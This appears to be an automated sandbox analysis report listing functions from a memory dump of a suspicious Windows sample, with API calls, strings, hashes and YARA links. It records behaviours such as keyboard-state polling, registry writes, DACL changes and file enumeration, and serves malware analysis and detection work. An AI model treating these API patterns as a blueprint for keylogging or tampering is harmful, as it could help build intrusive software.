Part of subcall function 00213698: __flsbuf.LIBCMT ref: 00213713
Part of subcall function 00213698: __flsbuf.LIBCMT ref: 0021372B

__swprintf.LIBCMT ref: 0025C9C4
__swprintf.LIBCMT ref: 0025CA13
__swprintf.LIBCMT ref: 0025CA62

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 0025C88A
%4d, xrefs: 0025C8CD
%02d, xrefs: 0025C91B, 0025C925, 0025C973, 0025C9C2, 0025CA11, 0025CA60

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 5ace235c5e7b54525f5ad5ba92d20250c69c6c69b8d0dddb2a05a1bd8aa96517
Instruction ID: 3285bbd8ab6bb6b3ee426f9fccf7cc6a22d3f0e094a01472e06ceaffccb42a6a
Opcode Fuzzy Hash: 5ace235c5e7b54525f5ad5ba92d20250c69c6c69b8d0dddb2a05a1bd8aa96517
Instruction Fuzzy Hash: 95A12DB1418349AFC744EFA4D885EBFB7ECBFA5704F400919F69586191EB30DA48CB62

Function 0025EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 0025EFB6
_wcscmp.LIBCMT ref: 0025EFCB
_wcscmp.LIBCMT ref: 0025EFE2
GetFileAttributesW.KERNEL32(?), ref: 0025EFF4
SetFileAttributesW.KERNEL32(?,?), ref: 0025F00E
FindNextFileW.KERNEL32(00000000,?), ref: 0025F026
FindClose.KERNEL32(00000000), ref: 0025F031
FindFirstFileW.KERNEL32(*.*,?), ref: 0025F04D
_wcscmp.LIBCMT ref: 0025F074
_wcscmp.LIBCMT ref: 0025F08B
SetCurrentDirectoryW.KERNEL32(?), ref: 0025F09D
SetCurrentDirectoryW.KERNEL32(002A8920), ref: 0025F0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 0025F0C5
FindClose.KERNEL32(00000000), ref: 0025F0D2
FindClose.KERNEL32(00000000), ref: 0025F0E4

Strings

*.*, xrefs: 0025F048

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 210ce10093e4e9d6a39393200025a54ffbb730c23e953df651c998cc90e64c7a
Instruction ID: 78d9bc0b3b51e25cc9403bfce4709d01da658d7fd284f8c4503dff59317b394a
Opcode Fuzzy Hash: 210ce10093e4e9d6a39393200025a54ffbb730c23e953df651c998cc90e64c7a
Instruction Fuzzy Hash: 4A31E33251421A7ACF54DFA0ED48AEEB7AC9F49321F040171EC08E20D1EB70DAA8CA55

Function 00270857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00270953
RegCreateKeyExW.ADVAPI32(?,?,00000000,0027F910,00000000,?,00000000,?,?), ref: 002709C1
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00270A09
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00270A92
RegCloseKey.ADVAPI32(?), ref: 00270DB2
RegCloseKey.ADVAPI32(00000000), ref: 00270DBF

Strings

REG_DWORD, xrefs: 00270C83
REG_EXPAND_SZ, xrefs: 00270A2F
REG_BINARY, xrefs: 00270D4D
REG_SZ, xrefs: 00270AD0
REG_MULTI_SZ, xrefs: 00270B7A
REG_QWORD, xrefs: 00270D00

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 666a9baba171bb22acc69ae9757199a4516146e1bfb4b244660269c0ac8ae33a
Instruction ID: 74135154e2d03980cce8d7d0176d77185bc007cca15751f824abfeabba1b434e
Opcode Fuzzy Hash: 666a9baba171bb22acc69ae9757199a4516146e1bfb4b244660269c0ac8ae33a
Instruction Fuzzy Hash: EB025575614605DFCB54EF24C885E2AB7E5EF89324F04885CF98A9B3A2CB30EC55CB81

Function 002066E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON

Download Yara Rule

Strings

0E), xrefs: 0020673D
NO_START_OPT), xrefs: 0024114F
UTF), xrefs: 002410FA
NO_AUTO_POSSESS), xrefs: 0024112E
LIMIT_RECURSION=, xrefs: 002411FC
BSR_ANYCRLF), xrefs: 0024131E
LF), xrefs: 002412A4
3c , xrefs: 002068FF
UTF16), xrefs: 002410CF
_ , xrefs: 00241465, 0024150C, 002415B4
UCP), xrefs: 0024110D
CRLF), xrefs: 002412C1
BSR_UNICODE), xrefs: 00241338
0D), xrefs: 00206733
CR), xrefs: 00241287
ANYCRLF), xrefs: 002412FB
ANY), xrefs: 002412DE
LIMIT_MATCH=, xrefs: 00241170
pG), xrefs: 00206751
0F), xrefs: 00206747

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID: 0D)$0E)$0F)$3c $ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pG)$_
API String ID: 0-1171210738
Opcode ID: 47312a85cf47ab9322f662e948eea3140131f8f28f56553f9741481ec812d3ea
Instruction ID: 37f9cf591b141e4d16d06d5e979c09c030aba84993f975640b66153fcfd5f335
Opcode Fuzzy Hash: 47312a85cf47ab9322f662e948eea3140131f8f28f56553f9741481ec812d3ea
Instruction Fuzzy Hash: 95727171E2031ADBDB18CF59C8847AEB7B5FF44310F14816AE849EB291DB7099A1CF90

Function 0025F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 0025F113
_wcscmp.LIBCMT ref: 0025F128
_wcscmp.LIBCMT ref: 0025F13F

Part of subcall function 00254385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 002543A0

FindNextFileW.KERNEL32(00000000,?), ref: 0025F16E
FindClose.KERNEL32(00000000), ref: 0025F179
FindFirstFileW.KERNEL32(*.*,?), ref: 0025F195
_wcscmp.LIBCMT ref: 0025F1BC
_wcscmp.LIBCMT ref: 0025F1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 0025F1E5
SetCurrentDirectoryW.KERNEL32(002A8920), ref: 0025F203
FindNextFileW.KERNEL32(00000000,00000010), ref: 0025F20D
FindClose.KERNEL32(00000000), ref: 0025F21A
FindClose.KERNEL32(00000000), ref: 0025F22C

Strings

*.*, xrefs: 0025F190

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: c55ad77ae5856012f49e3a3704d4effdec9836bed72dd3ad5ec7ec0c708aa339
Instruction ID: f887189e52761e8f1517daf06ba6641beaa8c85228a53d1e673a64fbf3d22ae5
Opcode Fuzzy Hash: c55ad77ae5856012f49e3a3704d4effdec9836bed72dd3ad5ec7ec0c708aa339
Instruction Fuzzy Hash: 62311A3651421A7ACF50DF60ED49EEE77AD9F49321F104175EC08E2190EB30DEA9CE58

Function 0025A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0025A20F
__swprintf.LIBCMT ref: 0025A231
CreateDirectoryW.KERNEL32(?,00000000), ref: 0025A26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0025A293
_memset.LIBCMT ref: 0025A2B2
_wcsncpy.LIBCMT ref: 0025A2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0025A323
CloseHandle.KERNEL32(00000000), ref: 0025A32E
RemoveDirectoryW.KERNEL32(?), ref: 0025A337
CloseHandle.KERNEL32(00000000), ref: 0025A341

Strings

\??\%s, xrefs: 0025A22B
:, xrefs: 0025A252
\, xrefs: 0025A247

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: e8cb2d516c423f0c7f018e8184ffafc565900697402ebd6a129d226898f1d8cc
Instruction ID: d5e86a62d6936b9fbefdd79b44f2f68226feeeb6733d1898a49f536d1fd7e89a
Opcode Fuzzy Hash: e8cb2d516c423f0c7f018e8184ffafc565900697402ebd6a129d226898f1d8cc
Instruction Fuzzy Hash: 1B31D67151411ABBDB20DFA0DC4AFEB37BCEF89705F1041B6F908D2160EB7096948B25

Function 00247CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00248202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0024821E
Part of subcall function 00248202: GetLastError.KERNEL32(?,00247CE2,?,?,?), ref: 00248228
Part of subcall function 00248202: GetProcessHeap.KERNEL32(00000008,?,?,00247CE2,?,?,?), ref: 00248237
Part of subcall function 00248202: HeapAlloc.KERNEL32(00000000,?,00247CE2,?,?,?), ref: 0024823E
Part of subcall function 00248202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00248255

Part of subcall function 0024829F: GetProcessHeap.KERNEL32(00000008,00247CF8,00000000,00000000,?,00247CF8,?), ref: 002482AB
Part of subcall function 0024829F: HeapAlloc.KERNEL32(00000000,?,00247CF8,?), ref: 002482B2
Part of subcall function 0024829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00247CF8,?), ref: 002482C3

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00247D13
_memset.LIBCMT ref: 00247D28
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00247D47
GetLengthSid.ADVAPI32(?), ref: 00247D58
GetAce.ADVAPI32(?,00000000,?), ref: 00247D95
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00247DB1
GetLengthSid.ADVAPI32(?), ref: 00247DCE
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00247DDD
HeapAlloc.KERNEL32(00000000), ref: 00247DE4
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00247E05
CopySid.ADVAPI32(00000000), ref: 00247E0C
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00247E3D
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00247E63
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00247E77

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 891d0d66e3fb98adb8d58df7ef46744a52126120609ee71d4589e372553b5a0f
Instruction ID: c659284c9219895e85c2fb655cd5b3bd913adc9cec755bf93590af6bb7e76e9f
Opcode Fuzzy Hash: 891d0d66e3fb98adb8d58df7ef46744a52126120609ee71d4589e372553b5a0f
Instruction Fuzzy Hash: A1613C71A1410AEFDF04DFA4DC49EEEBB79FF04700F048269E929A7291DB319A55CB60

Function 0025001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00250097
SetKeyboardState.USER32(?), ref: 00250102
GetAsyncKeyState.USER32(000000A0), ref: 00250122
GetKeyState.USER32(000000A0), ref: 00250139
GetAsyncKeyState.USER32(000000A1), ref: 00250168
GetKeyState.USER32(000000A1), ref: 00250179
GetAsyncKeyState.USER32(00000011), ref: 002501A5
GetKeyState.USER32(00000011), ref: 002501B3
GetAsyncKeyState.USER32(00000012), ref: 002501DC
GetKeyState.USER32(00000012), ref: 002501EA
GetAsyncKeyState.USER32(0000005B), ref: 00250213
GetKeyState.USER32(0000005B), ref: 00250221

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: fc61ba0ffe547ee548ad89fc81ef6bf67347051f2f27f28e290682c4b2cc68a9
Instruction ID: a0472a0c6194b1a527dce5253b00fa9f6317afbf76a91e77aa737a1f38af607b
Opcode Fuzzy Hash: fc61ba0ffe547ee548ad89fc81ef6bf67347051f2f27f28e290682c4b2cc68a9
Instruction Fuzzy Hash: D4510E2091478929FB34DFA08C947EABFB49F01381F08459ECDC6565C3D6B49B9CC76A

Function 002703DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00270E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0026FDAD,?,?), ref: 00270E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 002704AC

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0027054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 002705E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00270822
RegCloseKey.ADVAPI32(00000000), ref: 0027082F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: cd74ee7f662c858205b1e0f82a884508a705aa1a72040c9e0736cd607d26f31f
Instruction ID: ffecb82c32fed54027b67a8da5ed8158e70510d2f15e28213595a821181ccc15
Opcode Fuzzy Hash: cd74ee7f662c858205b1e0f82a884508a705aa1a72040c9e0736cd607d26f31f
Instruction Fuzzy Hash: 4BE14B30214205EFCB14DF24C995E2ABBE8FF89314B04C56DF94ADB2A1DB30E915CB92

Function 002683BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

CoInitialize.OLE32 ref: 00268403
CoUninitialize.OLE32 ref: 0026840E
CoCreateInstance.OLE32(?,00000000,00000017,00282BEC,?), ref: 0026846E
IIDFromString.OLE32(?,?), ref: 002684E1
VariantInit.OLEAUT32(?), ref: 0026857B
VariantClear.OLEAUT32(?), ref: 002685DC

Strings

NULL Pointer assignment, xrefs: 002684B3
Failed to create object, xrefs: 00268479, 0026852F
Invalid parameter, xrefs: 002684FA

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 2e535a9ba1dfd162a7925e0f9e9931bbe1732fc2165d9cff710bad43b1741c52
Instruction ID: 80a3e6f141631d64c2c17ee38e8b71e6eee268bab5138d181bd5036828034784
Opcode Fuzzy Hash: 2e535a9ba1dfd162a7925e0f9e9931bbe1732fc2165d9cff710bad43b1741c52
Instruction Fuzzy Hash: 7361CE706283129FC710DF24D848F6EB7E8AF49754F404619F9869B2A1CF70ED98CB92

Function 00264164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0026418B
EmptyClipboard.USER32 ref: 00264191
GlobalAlloc.KERNEL32(00000002,?), ref: 002641A6
CloseClipboard.USER32 ref: 00264245

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 43c41c59782c2c0461e35b7094e3d8d7c1eacb8e690d82462f9d3161e6edaaa2
Instruction ID: 276d4b3af020021045d0171687038c8e2f38b3c1d09dc6c44c1d7ce787cb6ee4
Opcode Fuzzy Hash: 43c41c59782c2c0461e35b7094e3d8d7c1eacb8e690d82462f9d3161e6edaaa2
Instruction Fuzzy Hash: D821BA352152149FDB10AF20ED0DB6E7BA8FF15750F10802AF98A9B2B1DB70AC90CF85

Function 002537EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001F4743,?,?,001F37AE,?), ref: 001F4770

Part of subcall function 00254A31: GetFileAttributesW.KERNEL32(?,0025370B), ref: 00254A32

FindFirstFileW.KERNEL32(?,?), ref: 002538A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0025394B
MoveFileW.KERNEL32(?,?), ref: 0025395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0025397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 0025399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 002539B9

Strings

\*.*, xrefs: 0025384E, 00253857, 0025386C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 15d8853cd3874142e0749d95dad20fed8d2d1326fb94d4562ba2424e927e9b57
Instruction ID: 26a1c1d6c61d72a70d8b978d1a36947d7a339e75ed808aaff90bd8b08a8c4ae2
Opcode Fuzzy Hash: 15d8853cd3874142e0749d95dad20fed8d2d1326fb94d4562ba2424e927e9b57
Instruction Fuzzy Hash: AC51BA7181414DAACF05FBA0DAA28FDB779AF24351F600069E906B7192EF706F1DCB64

Function 0025F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0025F440
Sleep.KERNEL32(0000000A), ref: 0025F470
_wcscmp.LIBCMT ref: 0025F484
_wcscmp.LIBCMT ref: 0025F49F
FindNextFileW.KERNEL32(?,?), ref: 0025F53D
FindClose.KERNEL32(00000000), ref: 0025F553

Strings

*.*, xrefs: 0025F425

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 1ddbfdbf19df764d7b306442d3f9141e80ebe6fd01a0037c0a971d98157aa464
Instruction ID: 9b7271c7042bcd3333c93d4ff2d453c755439ca0e9f99d067cb1e48b38db5dc1
Opcode Fuzzy Hash: 1ddbfdbf19df764d7b306442d3f9141e80ebe6fd01a0037c0a971d98157aa464
Instruction Fuzzy Hash: 7841AE3182420AAFCF54DF68DD49AEEBBB4FF15311F504066E918A3190EB309EA8CF54

Function 00203030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

3c , xrefs: 00203225
_ , xrefs: 00203322

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3c $_
API String ID: 674341424-3624874895
Opcode ID: 51b80807f1c4ee13b637a03b88002292d4bd024593caf1597ab21f92109f6dd5
Instruction ID: be552995d8fe9e514c200f5f6886f627df629da6530180585159a0870d7690a7
Opcode Fuzzy Hash: 51b80807f1c4ee13b637a03b88002292d4bd024593caf1597ab21f92109f6dd5
Instruction Fuzzy Hash: 01228D716283019FC724DF14C885BAEB7E8BF94710F00491DF99A9B292DB71E954CF92

